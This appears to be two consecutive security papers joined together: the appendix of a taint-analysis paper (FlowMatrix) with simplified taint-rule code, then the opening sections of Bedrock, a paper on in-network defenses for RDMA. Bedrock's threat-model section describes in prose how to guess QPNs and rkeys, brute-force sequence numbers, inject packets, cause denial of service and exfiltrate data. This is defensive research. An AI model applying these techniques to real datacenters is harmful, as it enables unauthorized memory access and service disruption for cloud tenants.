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void taint_parallel_compute (
shad , dest , opcode , ...)

{
if ( opcode == llvm ::

Instruction :: Or) {
cb_mask_out . cb_mask =

( cb_mask_1 . zero_mask &
cb_mask_2 . cb_mask ) |

( cb_mask_2 . zero_mask &
cb_mask_1 . cb_mask );

}
write_cb_masks (shad , dest ,

cb_mask_out ,...) ;
...
}

(a) Panda

void r2r_binary_opl (dst , src ,
...) {

threadctx ->vcpu.gpr[dst ]|=
threadctx ->vcpu.gpr[src ];

}
void ins_inspect (INS ins) {

...
switch ( ins_indx ) {

case XED_ICLASS_OR :
INS_InsertCall (
r2r_binary_opl , REG32_INDX
( reg_dst ), REG32_INDX (
reg_src ), ...);

}
}

(b) Libdft

int gen_taintcheck_insn (...) {
switch (opc) {
case INDEX_op_or_i32 :

/* t0 = arg1 || arg2 */
tcg_gen_or_i32 (t0 ,a1 ,a2);
/* t2 = (t0 != 0) */
tcg_gen_movi_i32 (t_z ,0);
tcg_gen_setcond_i32 (
TCG_COND_NE ,t2 ,t_z ,t0);
/* res = ~t2 */
tcg_gen_neg_i32 (res ,t2);
break ;
...

}
}

(c) Decaf

Figure 10: Different implementations of the taint rule of or instruction in Panda, libdft and DECAF. Panda defines controlled
bit mask to calculate which bits are attacker controlled. libdft directly performs an or operation from src’s tag to dst’s tag.
DECAF encodes the propagation logic with tcg IR. Code has been simplified for easier reading.

of ad-hoc, tightly coupled implementation specific paradigm
used in the design of these engines. For example the type
of statement where taint analysis is used on results in some
rules being defined on top of intermediate representations
(IR), while others directly on machine instruction set architec-
tures (ISAs). Other than making reusing of existing taint rules
next to impossible, these implementation specific designs also
prevents a single, unified way of propagating taint.

A.2 Matrix Normalization
However, there is still a gap to fill when multiplying data flow
matrices: each data flow matrix is using local variable state
and unaware of others’ context. For instance, we consider a
task to summarize the data flow of mov rax, [rbp-8] and
and rcx, rax. The size of two data flow matrices are both
128×128, but in a different context: the variable state, [rax,
[rbp-8]], of the first instruction consists of rax (size of 64)
and [rbp-8] (size of 64), while the second is [rcx, rax]
with the same length of 128. Thus, before the summarization,
there is a need to normalize both data flow matrices within
the superset of variable states.

Intuitively, there are two steps in normalization: extending
and reordering. Specifically, a n× n local matrix M has to
be first extended to m×m to match the shape of the normal-
ized matrix by appending zero rows and zero columns. Next,
rows and columns in the extended matrix must be reordered
to match the order of normalized variable state. For exam-
ple, if the goal is to normalize the data flow matrix of and
rcx, rax to a normalized state [rax, [rbp-8], rcx], we
can first extend the state to [rcx, rax, NULL] and then re-
ordering it to [rax, NULL([rbp-8]), rcx]. Let E be an
identity matrix In concatenated with m− n zero rows. The
extension of M can be achieved by pre-multiplied with E

and post-multiplied with ET , where ET is the transpose of
E (i.e., an identity matrix In concatenated with m− n zero
columns). After matrix extension, the reordering can be di-
vided into elementary operations: row-switching transforma-
tions and column-switching transformations. As the extended
matrix is also a square matrix of which rows and columns
both represent the extended state, the reordering is equivalent
to pre-multiply a permutation matrix P and post-multiply its
transpose PT . So far, the production matrix M′ is a m×m ma-
trix where M′ = P(EMET )PT . Let U be the product of P×E,
then the above formula can be simplified to M′ = UMUT .
So far, M′ is ready for data flow summarization, except for
one thing: it does not inherit data flows from extended vari-
ables. Thus, ones have to be placed on the main diagonal for
those extended rows and columns and update our formula:
M̂ =U(M− In)UT + Im.

A.3 Implementation Details
System Call Hooking. Traditional DIFT analysis tools
hook system calls, and set taint status for source system calls
or check taint status for sink system calls [4, 45]. FLOWMA-
TRIX does not follow the design of taint tag propagation but
tracks all information flows in matrices. Our matrix design
brings a new challenge in handling system calls. Namely,
there is no proper column in matrix can be chosen as the in-
formation flow source for an input system call, such as read,
recvfrom, etc. The reason is that, as a system call is for a
program to request a service from the kernel, from the point
of view of a process, a system call introduces new informa-
tion flows from "nowhere": they do not originate from any
in-process variable. To address this challenge, we need to
introduce a new data variable into the matrix for each system
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call. That is, similar to how FLOWMATRIX handles implicit
flows, we extend the matrix with one column and one row
representing the system call variable for each system call in
trace. For each of them, the appended variable is influenced
by all of the system call’s arguments and influences the re-
turn value (rax register). Furthermore, for those input system
calls which load data into process, the system call variable
influences the loaded buffer; for those output system calls
which write data to externals, the written buffer influences the
system call variable.

Recall that it is creating a global information flow snapshot
for a certain position by adding a new variable into matrix
and setting information flows towards it. Then, setting infor-
mation flows from an extended variable is creating a global
information flow source. By combining two types of opera-
tions, FLOWMATRIX enables us a rapid n-to-n query among
multiple system calls in O(1) time, which has wide appli-
cations in sensitive data leakage detection [24], dependency
explosion resolution [16, 17] and etc. The rationale is, unlike
other data variables, such snapshots and global sources are
not limited by variable scopes and can be access from a global
view. Specifically, in the matrix of a root vertex on a query tree,
its sub-matrix of all system call variables over themselves is
a linear map describing dependencies among all system calls.
Informally, a non-zero element in the sub-matrix represents
there is an information flow from the system call correspond-
ing to its column to another system call corresponding to its
row.

Constant Flow Tracking. Traditional DIFT analysis do
not track data flows from a constant (e.g., mov eax, 1) or a
sanitized register (e.g., xor eax, eax) [28]. This is reason-
able as constant flows are not worth tracking in most cases.
However, in some data-flow-based security scenarios, ana-
lysts do have the needs to query the impact of a constant. For
example, in cryptographic misuse detection, analysts would
check whether a constant has been set as the random seed
for a cryptographic function [71]. By using traditional DIFT
tools, the analysts have to manually modify the tool’s code
to hook a taint status set function to the place where the con-
stant is introduced and register a taint status check function
of arguments when the program calls a cryptographic func-
tion. This requires expert knowledge about a DIFT tool and
code modification for each scenario. FLOWMATRIX takes
into account both situations and provides users with code-free
constant flow queries. In common scenarios, we treat instruc-
tions of constant flows as empty information flows (operands
do not inherit their own data flow). If a query’s source is a
constant flow instruction, then FLOWMATRIX automatically
tracks the information flow from the constant. Specifically, we
extend the source instruction’s matrix with one row and one
column similar to the scenarios in system calls and set data
flows from the extended variable to the destination operands
in instruction. Then we query the information flow from its
next instruction to the destination and multiply the extended
matrix with the query result.
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Abstract

Remote direct memory access (RDMA) has gained popularity

in cloud datacenters. In RDMA, clients bypass server CPUs

and directly read/write remote memory. Recent findings have

highlighted a host of vulnerabilities with RDMA, which give

rise to attacks such as packet injection, denial of service, and

side channel leakage, but RDMA defenses are still lagging

behind. As the RDMA datapath bypasses CPU-based soft-

ware processing, traditional defenses cannot be easily inserted

without incurring performance penalty. Bedrock develops a

security foundation for RDMA inside the network, leverag-

ing programmable data planes in modern network hardware.

It designs a range of defense primitives, including source

authentication, access control, as well as monitoring and log-

ging, to address RDMA-based attacks. Bedrock does not incur

software overhead to the critical datapath, and delivers native

RDMA performance in data transfers. Moreover, Bedrock

operates transparently to legacy RDMA systems, without re-

quiring RNIC, OS, or RDMA library changes. We present

a comprehensive set of experiments on Bedrock and demon-

strate its effectiveness.

1 Introduction

Remote direct memory access (RDMA), a technology that

originates in high-performance computing (HPC), has gained

popularity in modern cloud datacenters [1, 2]. In RDMA

systems, servers expose a “remote memory” abstraction to

networked clients, offering high throughput and low latency.

Bypassing server CPUs, one-sided RDMA operations (e.g.,

READ and WRITE) enable remote accesses at hardware

speeds. This is achieved by the use of RDMA-enabled net-

work interface cards (RNICs), which enclose special ASICs

for translating RDMA operations to local DMA requests to

the main memory over PCIe. Only control operations like

connection setup and teardown require CPU-based software

intervention. The datapath itself is free of software bottle-

necks and enables low-latency remote memory access.

The expansion from private HPC environments to pub-

lic, multi-tenant clouds, however, has put RDMA security

under greater scrutiny. Exposing server memory to remote

clients without CPU mediation comes with a host of secu-

rity implications. Recent work has demonstrated that RDMA

systems lack secure mechanisms for authentication [46, 52];

that they have rigid access control mechanisms that are easy

to bypass [46, 49]; and that they cannot produce audit trails

Xing and Hsu contributed to this work equally.

for forensics [46, 49]. This has culminated in a systematic

study on RDMA security problems under varied threat mod-

els in ReDMArk [46]. The authors have considered varied

threat models and identified scenarios in which attackers can

inject spoofed RDMA packets, bypass access control mecha-

nisms, launch various types of denial-of-service attacks, and

leak data via side channels. Many of the vulnerabilities are

deeply rooted in the insecure RNIC hardware designs, there-

fore fundamental to today’s RDMA systems. While defense

analogues exist for traditional TCP/IP networks (e.g., against

IP spoofing or TCP injection attacks), RDMA systems present

a distinct challenge in bypassing the CPU. The key to RDMA

performance lies in the exclusion of CPU software processing.

This creates significant difficulty in using existing software-

based defenses without negating the performance benefits

afforded by RDMA.

The key research goal in this paper is to develop a suite

of defenses that are compatible with the CPU-bypassing

paradigm in RDMA systems, therefore preserving their raw

performance, but without requiring changes to RNIC hard-

ware, OS, or RDMA libraries. Bedrock secures the datapath

traffic directly inside the network, relying on advances in

networking technology that developed programmable data

planes in switches and NICs. With this technology, it be-

comes feasible to develop datapath defenses that operate at

hardware speeds. We can further programmatically insert

them underneath the RDMA layer in a transparent manner.

The Bedrock defenses consist of a set of network programs

in P4 [13, 19], a high-level language for programming net-

work devices. Bedrock provides support for many security

mechanisms that are missing or inadequate in RDMA, includ-

ing source authentication, access control, as well as monitor-

ing and logging, which further serve as building blocks for

mitigating myriad attacks. Operating in network hardware,

Bedrock only incurs CPU processing for RDMA setup op-

erations, where software processing is already involved and

inevitable. In addition, these extra setup operations are also

achieved without OS or RDMA library changes via the eBPF

framework [4].

In TCP/IP networks, researchers have used programmable

switches for various security applications [23, 34, 41, 58, 63,

64], but compared to these work Bedrock represents a de-

parture in several dimensions. It focuses on RDMA security

instead of traditional TCP/IP, it develops a suite of protections

under varied threat models, and its conceptual novelty is to

demonstrate that we can develop a secure network foundation

underneath the RDMA layer while maintaining transparency
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to legacy systems. This design principle makes Bedrock easier

to adopt, and it also points to a path for seamlessly integrating

new RDMA defenses if more attacks should be discovered in

the future: by programming them into the network.

Concretely, the Bedrock defense primitives enable source

authentication, access control, and monitoring and logging in

cloud datacenters. The individual defenses in Bedrock draw

parallels from defenses in TCP/IP settings, but they are archi-

tected to bypass CPUs and customized for RDMA:

• The Bedrock authentication mechanisms are inspired by

source authentication and path validation techniques for

IP networks [36–38]. But instead of relying on “clean-

slate” architectures, Bedrock is compatible to today’s net-

works. It binds RDMA endpoints to network invariants

(e.g., the datacenter topology), which in cloud settings

are outside the adversary’s control. This enables Bedrock

to recognize spoofed RDMA packets by checking these

invariants as they are processed by the network.

• The Bedrock access control refines the isolation mecha-

nisms in RDMA, such as memory regions (MRs), mem-

ory windows (MWs), and protection domains (PDs),

which not only use insecure, easily-bypassable tokens,

but also are hardwired in the RNIC. Bedrock takes a

“software-defined” approach, exposing the ACL mech-

anisms for programmability by building access control

primitives inside the switch. This also opens up opportu-

nities to customize or extend RDMA ACLs for network-

or application-specific policies.

• The Bedrock monitoring and logging mechanisms bor-

row techniques from network telemetry [29, 50], which

uses programmable switches to monitor network traces

or collect compressed TCP/IP traffic logs. In Bedrock,

the defense in effect monitors memory access patterns

inside the network, and the produced traces can detect

abnormal accesses and enable security auditing.

Combined, these techniques significantly improve the sta-

tus quo of RDMA security. The rest of this paper presents the

Bedrock design in detail, and evaluates it comprehensively us-

ing realistic setups. Our results demonstrate that Bedrock can

mitigate a range of RDMA attacks with minimal overheads.

Bedrock has been released in open source [3].

2 Motivation and Background

In this section, we provide necessary background on RDMA,

explain its security mechanisms and known attacks, ending

with an overview of Bedrock.

2.1 RDMA primer

Remote Direct Memory Access (RDMA) was proposed by

the HPC community decades ago for high-performance com-

puting, where low latency and high throughput are crucial

to application performance. Compared to TCP/IP networks,

RDMA significantly reduces software latency and CPU uti-

lization by kernel and CPU bypassing. An RDMA appli-

cation can directly issue read/write requests to the remote

server as if the memory is local. Further, these requests

are processed by the recipient without involving the CPU—

hence the name remote “direct” memory access. Under the

hood, RDMA requests are processed by special hardware en-

gines in RNICs (RDMA network interface cards) for high

performance. Given its performance advantages, RDMA

has gained wide deployment in datacenters recently in re-

sponse to the growing demands on network performance and

become foundational to many modern datacenter applica-

tions [1, 2, 24, 25, 39, 43, 48, 60–62].

RDMA API. RDMA provides two types of API calls. Two-

sided API calls, such as SEND and RECV, are similar to tra-

ditional RPC messaging as they require CPU involvement.

The sender CPU issues a SEND request with a data buffer to

the RNIC, which transmits RDMA packets to the receiver.

The recipient CPU issues RECV to its RNIC to setup re-

ceive buffers for incoming data. One-sided API calls, such as

READ, WRITE, and ATOMICS, eliminate CPU overhead at the

receiver side. Except for connection setup, clients directly ma-

nipulate remote memory without the recipient CPU’s knowl-

edge. One-sided calls deliver strong performance benefits as

they have an accelerated datapath at ASIC speeds. Figure 1(b)

depicts the workflow of one-sided memory accesses. The vul-

nerabilities discovered by the security community also center

on one-sided, CPU-bypassing RDMA calls [46,49,52,54,56].

RDMA mechanisms. In one-sided RDMA, a server ex-

poses its memory to remote clients by memory regions (MRs).

A server registers an MR with a pair of local and remote pro-

tection keys (lkey and rkey, respectively), intending only for

RDMA clients with the knowledge of the rkey to access the

corresponding MR. The communication channel is repre-

sented by two dedicated hardware queues on the sender and

receiver RNICs, comprising a queue pair (QP) identifiable

by its queue pair number (QPN) at each end. The connection

setup process involves the exchange of rkey, QPN, and MR,

all as a form of (unfortunately, insecure) credentials. RNICs

usually come with software connection managers [14] as a

library to manage connection setups. Such RDMA libraries

use unencrypted TCP channels, but applications can employ

secure protocols (e.g., HTTPs) if they choose to implement

their own setup process.

RoCEv2. A widely used implementation is “RDMA over

Converged Ethernet Version 2” (RoCEv2) [15], where RDMA

packets are carried by Ethernet frames over traditional net-

work infrastructures using UDP and IP as the carrier. Com-

pared to Infiniband (IB) in HPC networks, which requires spe-

cialized network infrastructures, RoCEv2 is backward com-

patible with the Ethernet L2 infrastructure [68]. Therefore,

RoCEv2 is the technology of choice for large-scale deploy-

ments in cloud datacenters—it is also Bedrock’s protection

target. In this setting, RNICs add and remove Ethernet head-
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ers before interpreting RDMA semantics and completing the

memory operations via local DMA. Figure 1(a) shows the

packet format. A well-known UDP destination port is used

to indicate the use of RDMA, and the inner RDMA header

itself contains rkey, destination QPN, and the target memory

address. An RDMA packet also contains a packet sequence

number (PSN) for in-order delivery and a checksum (ICRC)

for packet integrity. All headers and payload are transmitted

in plaintext.

2.2 RDMA-native security support

RDMA has several built-in, basic security mechanisms. Re-

cent work has demonstrated that they are insufficient in shared,

multi-tenant cloud datacenters.

Authentication. Upon receiving a request, the RNIC per-

forms basic authentication in three aspects. First, the request

must target an existing server-side queue pair number (QPN)

that has been negotiated in the setup phase. Second, it must

target a valid memory region (MR) with a correct rkey. Fi-

nally, the accessed virtual memory address must be within

the destination MR. Requests that violate any of the above

constraints will be dropped by the RNIC without notifying

the receiving application. Those that pass all checks are trans-

lated into local DMA requests from the RNIC, via the PCIe

interconnect, to the main memory.

Authorization. RDMA supports three insecure and fixed-

function access control mechanisms: protection domains,

memory regions, and memory windows. As Figure 1(c) shows,

a protection domain (PD) contains a group of queue pairs that

have the same access control privileges for the same set of

memory regions. A memory region (MR) is further associated

with virtual memory boundaries and access control privileges

(e.g., read-only vs. read-write). A memory window (MW) is

akin to a fine-grained protection domain with only one queue

pair. These mechanisms are insecure and easily bypassed

if the attacker presents the correct rkeys and QPNs. Also,

RDMA ACL mechanisms pose integration issues with other

forms of cloud ACLs, as they are baked into hardware and

CPU intervention is hard to come by [30]. Elsewhere in the

cloud, non-RDMA, software-based access control systems

are easily reprogrammable to incorporate alternative ACL

policies.

Integrity. RDMA packets are unencrypted, and only use

two naïve mechanisms for integrity. A 32-bit ICRC checksum

is included for each packet, which is inherited from the Infini-

band (IB) standard from HPC settings. When RDMA packets

are carried over RoCEv2, RNIC vendors view ICRC as re-

dundant as Ethernet already has checksum mechanisms.
1

A

24-bit packet sequence number (PSN) functions similarly as

TCP sequence numbers, enforcing ordered delivery and pre-

venting packet injection. However, the checksum algorithms

and seeds are publicly available, which leads to low-entropy

PSNs. A recent project, sRDMA [52], has developed crypto-

graphic support for RDMA packet encryption.

2.3 Threat model and attacks

We base our threat model upon ReDMArk [46], the state-

of-the-art study of RDMA vulnerabilities. In particular, we

target threat models for multi-tenant cloud datacenters, as de-

picted in Figure 1(d), where clients access remote servers via

the network. In this setting, we assume that the network and

server infrastructure are part of the trusted computing base

(TCB). Only clients are considered to be potentially malicious.

Although ReDMArk has also identified attacks that are possi-

ble under an actively malicious network, such a threat model

is beyond the scope of Bedrock. We present the considered

threat models below and note on the correspondence to those

presented in ReDMArk when appropriate.

1
Discussion with Nvidia/Mellanox.
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Threat Model TM1: The attacker is located at a different

end host from the victim, either in a virtual machine (VM)

or container. She does not have root privilege on the cloud

machine, so cannot inject raw RDMA packets or sniff net-

work traffic. However, she can launch arbitrary malicious

RDMA apps, which can issue reads and writes to remote

servers—e.g., racks hosting RDMA-enabled storage services.

This corresponds to the T1 threat model in ReDMArk.

Threat Model TM2: An enhancement of TM1. The adver-

sary runs in baremetal cloud machine, or she has compromised

the cloud software stack and obtained root privilege. She can

therefore fabricate and inject arbitrary RDMA packets with-

out needing to establish queue pairs first. The spoofed packets

are manipulated to use fake UDP, RDMA, or other headers.

This corresponds to the T2 threat model in ReDMArk.

Threat Model TM3: The adversary and victim run VMs

or containers on the same machine. The attacker launches

malicious RDMA apps, but she does not have root privilege

and cannot subvert the client VM/container directly. However,

unlike TM1 and TM2, the adversary’s and victim’s RDMA

traffic originate from the same cloud node, and their packets

are routed by the network via the same paths. This distinction

is relevant for Bedrock as it leverages network invariants for

defense; but this does not correspond to a separate threat

model category in ReDMArk.

Threat Model TM4: Finally, we also consider cases where

attackers have compromised an RDMA client on another ma-

chine via techniques like code injection and malware. This

corresponds to the T4 threat model in ReDMArk, where ad-

versaries can exfiltrate data to other machines silently.

The T3 threat model in ReDMArk assumes a malicious

network, which is beyond the scope of our discussion. Under

threat models TM1-TM4, we summarize the possible attacks

identified in existing work [46, 49, 54, 56].

2.3.1 Insecure source authentication

Existing RDMA authentication mechanisms can be bypassed

easily. An attacker can gain access to other users’ remote

memory regions if she obtains the correct QPN, rkey, and

memory address. Unfortunately, these elements can be pre-

dicted by the attacker [46]. (i) QPNs: ReDMArk [46] finds

that RNICs generate the next QPN by incrementing the cur-

rent one. If an attacker finds her QPN to be n, she can reliably

infer that [0..n−1] are valid numbers as well. (ii) rkey: The

rkey generation mechanism is also predictable [46, 56], e.g.,

either by incrementing rkeys by a fixed delta (e.g., Broadcom

RNICs increment by 0x100 for each new rkey), or using low-

entropy randomness (e.g., static initialization values and the

same key generator for all protection domains) [46]. (iii) Mem-

ory addresses: Since traditional ASLR [57] (address space

layout randomization) does not apply to memory ranges ex-

posed by RDMA, virtual addresses are trivial to guess. If an

adversary wishes to launch injection attacks, she needs to

additionally guess the packet sequence number (PSN), which

is intended to guarantee ordered delivery just like in TCP.

However, TCP sequence numbers have random initial values

as generated by the OS, whereas many open-source RDMA

apps hardcode their initial PSNs [46]. RDMA sequence num-

bers are also more susceptible to brute-force attacks as they

are shorter than TCP sequence numbers (24 vs. 32 bits). An

attacker can enumerate the entire space in 10s for Mellanox

RNICs and 23s for Broadcom RNICs [46]. These vulnerabili-

ties lead to the following attack scenarios.

Scenario 1 (S1): Unauthorized memory access via mali-

cious queue pairs (TM3). An attacker Bob creates its client

QP, but accesses server memory granted to Alice’s QP. He

achieves this by using Alice’s rkeys and using Alice’s server-

side QP number without negotiating with the server. This is

feasible under TM3 where Bob and Alice reside in the same

machine and have the same IP address.

Scenario 2 (S2): Unauthorized memory access via raw

packet injection (TM2). An attacker Bob can inject packets

to Alice’s queue pair if he can craft raw packets as root user.

He also needs to obtain Alice’s QPN, memory address, rkey,

and PSN using the methods described in ReDMArk. This

corresponds to the A1 attack in ReDMArk.

Scenario 3 (S3): DoS attacks by increasing the expected

sequence number (TM2,TM3). Bob can inject packets to ad-

vance Alice’s PSN, either using root privilege (TM2) or by

locally modifying his QP’s PSN without root privilege (TM3).

This will cause the server to drop actual packets from Al-

ice with lower sequence numbers. The DoS attack can be

prolonged by continued packet injection.

Scenario 4 (S4): DoS Attack by transitioning QPs to an

error state (TM2,TM3). Bob forces an existing QP to transi-

tion into an irrecoverable error state via injecting malformed

packets either using root privilege (TM2) or by modifying his

valid QP to target Alice’s QP at the server side without root

privilege (TM3). Injected packets may use incorrect memory

opcode (e.g., a read-only QP receives a write request) or incon-

sistent payload and DMA lengths [46]. These errors can cause

RNICs to trigger error detection and bring down the victim

QP [7]. This corresponds to the A2 attack in ReDMArk.

2.3.2 Inadequate access control

Existing RDMA isolation mechanisms fall short in several

aspects. First, they rely on insecure tokens (e.g., rkeys) that

are generated by hardware in predictable patterns [46]. An

adversary can easily guess another queue pair’s rkey and

perform injection attacks. Second, they have fixed-function

semantics and cannot be easily integrated with other forms

of cloud ACLs as they bypass the software stack [30]. The

authors of ReDMArk have performed a study of open-source

RDMA projects, and found that many existing systems only

use one single protection domain (PD) [46]. Following ReD-

MArk’s methodology, we have studied 13 publicly available

RDMA systems [6, 24, 28, 31–33, 40, 44, 51, 52, 55, 60, 61],

and found that none of them uses memory windows (MWs)
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either. This means that rkey-guessing attacks can be easily

launched against these systems due to inadequate access con-

trol. Implementing ACLs in the network switch re-exposes

programmability and puts control back to the network oper-

ator’s or the RDMA application’s hands. They can enforce

customized ACL policies in the network, or integrate RDMA

ACLs with other forms of access control.

Scenario 5 (S5): Unauthorized memory access that crosses

access control boundaries (TM1-TM3). An adversary can

cross the boundaries of RDMA access control and gain access

to other clients’ queue pairs. This corresponds to attack A3 in

ReDMArk.

2.3.3 Lack of monitoring and logging

Security auditing is critical for cloud services—logs are usu-

ally maintained by the servers for forensic purposes, which

in turn enable attack detection, postmortem analysis, and ser-

vice repair. However, CPU-bypassing RDMA requests are

not visible to these auditing systems. The following attacks

can easily slip under the covers without leaving a trace.

Scenario 6 (S6): DoS attacks via queue pair exhaustion

(TM1-TM3). An attacker can exhaust RNIC resources by cre-

ating a large number of QPs to deny the service to other clients.

In principle, 24-bit QPNs can distinguish between 2
24

QPs,

but in practice RNICs only support a much smaller number:

32,707 for Broadcom and 261,359 for Mellanox RNICs [46].

This corresponds to attack A4 in ReDMArk.

Scenario 7 (S7): Performance degradation attacks (TM1-

TM3). RDMA packets bypass server CPUs but incur process-

ing overhead at RNIC engines, and these engines have their

own processing limits. An attacker can issue a large volume

of RDMA requests to overload the RNIC engine itself, so that

normal clients’ packets cannot be processed. ReDMArk [46]

shows that an attack from 1-2 nodes can easily reduce normal

clients’ read throughput by 8x-10x. This corresponds to attack

A5 in ReDMArk.

Scenario 8 (S8): Side channel attacks (TM1-TM3). RNICs

have on-board memory to cache data structures like page

table entries, and they use the main memory as a backing

store to handle cache evictions and misses. Cache misses trig-

ger expensive main memory accesses as they cross the PCIe

bus in a round-trip, leading to detectable latency differences

compared to cache hits. An attacker can use prime-and-probe

or evict-and-reload techniques to cause cache evictions and

construct timing channels to observe memory access patterns

of a victim client served by the same RNIC [54].

Scenario 9 (S9): Data exfiltration (TM4). CPU bypassing

can also lead to exfiltration attacks. Normally, exfiltration at-

tacks will leave audit trails in software logs, which can be used

for forensic analysis. However, if an attacker compromises

an RDMA node, she can leak data by initiating connections

from remote machines and directly reading the memory of

the compromised node without leaving a trace. This makes

it challenging to even detect data exfiltration attacks. This

corresponds to attack A6 in ReDMArk.

2.4 BedRock Overview

Bedrock develops RDMA defenses in network devices with

programmable data planes, which accept P4 programs for

customizing packet processing behaviors. Consider pro-

grammable switches as an example. A P4 program specifies

necessary packet headers and protocols for the switch. The

programmable parser extracts these headers and construct

packet header vectors (PHVs). The PHVs are sent through

multiple hardware stages in the switch for match/action pro-

cesssing. The programmable deparser reassembles headers

before forwarding the packet. Bedrock leverages this capabil-

ity to process RDMA headers on-the-fly for source authenti-

cation.

The main P4 processing takes place in a series of match/ac-

tion tables. Each table may have different keys (e.g., header

fields) and perform varied actions (e.g., arithmetic or bitwise

operations) on the headers. Hardware ALUs and CRC hash

units are integrated with every processing stage to enable

programmable actions per packet. Table entries, on the other

hand, are stored in switch SRAM (Static RAM) or TCAM

(Ternary CAM) for exact and range matches, respectively.

Each type of resource has its own constraints—typically,

O(100Mb) for SRAM and O(10Mb) for TCAM for a pro-

grammable switch. TCAM tables are especially important for

RDMA access control in the design of Bedrock.

Switch SRAM can also be used as register arrays to store

data across packets. These are akin to arrays in C, where

each register is accessible via an index. A packet is limited to

accessing one register per stage, so K accesses are possible

across K stages. Bedrock leverages registers for RDMA mon-

itoring and logging; it also uses packet mirroring primitives

to duplicate packets.

Deployability. Bedrock requires the use of P4-

programmable network devices in RDMA deployments.

Although P4 is a recent development, it is gaining traction

from industry [12]. Academic projects also make extensive

use of P4 switches [23, 35, 41, 42, 50, 58, 67]. As an example

of real-world adoption, Alibaba has deployed Tofino switches

in their production networks at scale [53]; the same cloud

provider also relies on RDMA deployments for their storage

service [26]. We believe that these industry trends show

promise of the deployability of Bedrock in realistic scenarios.

Our primary design goal is for Bedrock to run in top-or-rack

switches to protect racks of servers.

As P4 is a target-independent language, P4 programs can

be deployed to NIC-based targets as well. Existing P4-capable

platforms not only include programmable switches like Intel

Tofino and Nvidia Spectrum, but also programmable NICs

like Netronome Agilio and Xilinx Alveo. These platforms pri-

marily differ in their cost-to-performance ratios, performance

characteristics, and deployment scenarios. Switching ASICs

have lower cost-to-performance ratios and can be deployed to
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serve entire racks of servers. Programmable NICs have higher

cost-to-performance ratios and are suitable for server-local

deployments. Programmable NICs also exhibit more perfor-

mance variability than switching ASICs. We show some con-

crete data points by analyzing the list price from the same

vendor: today, a 3.2Tbps P4 switch costs $8,695 [5], trans-

lating to $2.7 per Gbps; a 40 Gbps P4 NIC costs $555 [11],

and this translates to $13.8 per Gbps, which is several times

higher. Later, we also include performance benchmarks on a

P4-programmable NIC.

3 Network Support for RDMA Security

Next, we present the three components of the Bedrock system.

3.1 RDMA source authentication

Bedrock is inspired by work in source authentication mech-

anisms for the general Internet [36–38], where mutually-

untrusted parties wish to authenticate packets’ origins. How-

ever, unlike the Internet at large where ISPs and their network

infrastructures are assumed to be untrusted, RDMA deploy-

ments occur in controlled environments where the attacker

cannot easily subvert the underlying infrastructure. Bedrock

harnesses the fact that the network itself is part of the TCB,

and develops lighter-weight mechanisms without requiring

architectural changes and cryptographic operations for rout-

ing, forwarding, and source authentication. Instead, Bedrock

derives identifiers that are coupled with the cloud infrastruc-

ture (e.g., the network topology and system information) that

is beyond the adversary’s control.

3.1.1 Packets from different machines

We first consider threat models TM1 and TM2, where the at-

tacker is located at a different machine from the victim client.

Bedrock leverages network topological invariants for authenti-

cation, in a manner that is transparent to applications. Spoofed

traffic can be easily detected by Bedrock as such packets will

violate the topological invariants. Concretely, Bedrock enables

this by constructing a mapping for each RDMA client that

maps from its IP address to the topological information—the

switch ingress port ID (iPort) for the client. This requires

assigning a unique ID for each switch port in the network

(e.g., by the operator or network management tools), and con-

figuring the mapping in the switches’ match/action tables.

At runtime, Bedrock switches check these invariants for each

RDMA packet, and detects packets whose IP addresses do

not match the topological information. In the P4 program,

Bedrock enforces this based on the network mapping stored

in match/action tables. Under this design, Bedrock ensures

that RDMA packets are bound to the original endpoints from

which the connections have been initiated. If an attacker uses

the IP of the victim, her packets will be detected and blocked

by Bedrock. If she uses her own IP address, her packets will

be rejected by the remote RNICs as the source IPs are incon-

sistent. Combined, Bedrock mitigates impersonation attacks

effectively.
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Figure 2: The illustration of source authentication for clients

in the same machine.

3.1.2 Packets from the same machine

Next, we consider threat model TM3, in which spoofing at-

tacks can be launched from the same machine as the victim.

This creates more challenges for recognizing spoofed packets,

as traffic originating from attackers and the victim are indis-

tinguishable by the ingress port information. Therefore, we

need to go one level further and identify other types of system

information that the attacker cannot easily control.

Figure 2 illustrates our design. Bedrock relies on the pro-

cess ID (pid) which is generated by the OS kernel, as another

class of identifiers. RDMA connections are bound to identi-

fiers that reflect both topological constraints and system in-

formation. To achieve transparency, we extract the pid using

eBPF [4], which is an infrastructure present in most main-

stream Linux kernels. eBPF allows the injection of runtime

monitors into the kernel without affecting user applications.

We intercept the RDMA verb create_qp, which creates a

hardware queue at the local RNIC and returns the generated

QPN to the application. Bedrock constructs a list of client

QPNs (cQPNs) for each pid during its lifetime, and destroys

the list upon application exit. Therefore, a malicious applica-

tion that misuses other applications’ QPNs can be detected

by the eBPF script.

However, the above defense does not prevent attackers from

using their own cQPNs to communicate with some server

QPN (sQPN) that they have not authenticated with. At the

server RNIC, the ASIC only checks if the server QPN is

valid. It does not validate the originating client QPN—in fact,

cQPNs are not even included in RDMA packets. This is the

root cause why attack S1 is feasible. One way to mitigate this

attack is to modify the RDMA standard for the inclusion and

validation of cQPNs; Bedrock instead resorts to a transpar-

ent approach: overwriting the sQPN header with the cQPN

value. Specifically, Bedrock first ensures that the client uses

its own cQPN by checking the pid-cQPN list. It then uses the

eBPF framework at the client side to intercept the modify_qp

call and replace the parameter sQPN with cQPN. In this way,

Bedrock tightly controls which server QPN a client can com-

municate with. Even if clients specify a different server QPN,

it will get modified by Bedrock to the correct value.

So far, Bedrock establishes an invariant that, for all in-
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flight RDMA requests, the sQPNs that they carry are equal to

the originating cQPNs. At the server side, Bedrock authenti-

cates the request in the network by querying a switch-based

mapping to obtain the actual server QPN. This mapping is

obtained by the server-side eBPF framework, which simi-

larly monitors modify_qp calls. The actual server QPNs, and

the originating client QPNs, are inserted to the switch in a

match/action table. RDMA requests match on this table, and

their sQPN headers are replaced with actual server QPNs

before they are sent from the switch to the RNIC. In effect,

Bedrock interposes a layer of indirection for security.

One practical issue here is the ICRC checksum of RDMA

packets need to be recalculated when the last-hop device

changes the sQPN. This can be easily done using pro-

grammable NICs, but current programmable switches cannot

easily support this [17]. However, ICRC fields are redundant

for RoCEv2 packets as Ethernet frames already have check-

sums. This feature was inherited from the Infiniband (IB)

version of RDMA, and can be disabled in RoCEv2 settings.

Our setup disables ICRC to resolve this issue.

3.2 RDMA access control

Next, Bedrock develops a “software-defined” approach to

RDMA access control. Today, RDMA ACLs are hard-

wired and pose integration issues with other types of cloud

ACLs [30]. By offloading ACLs to a programmable switch,

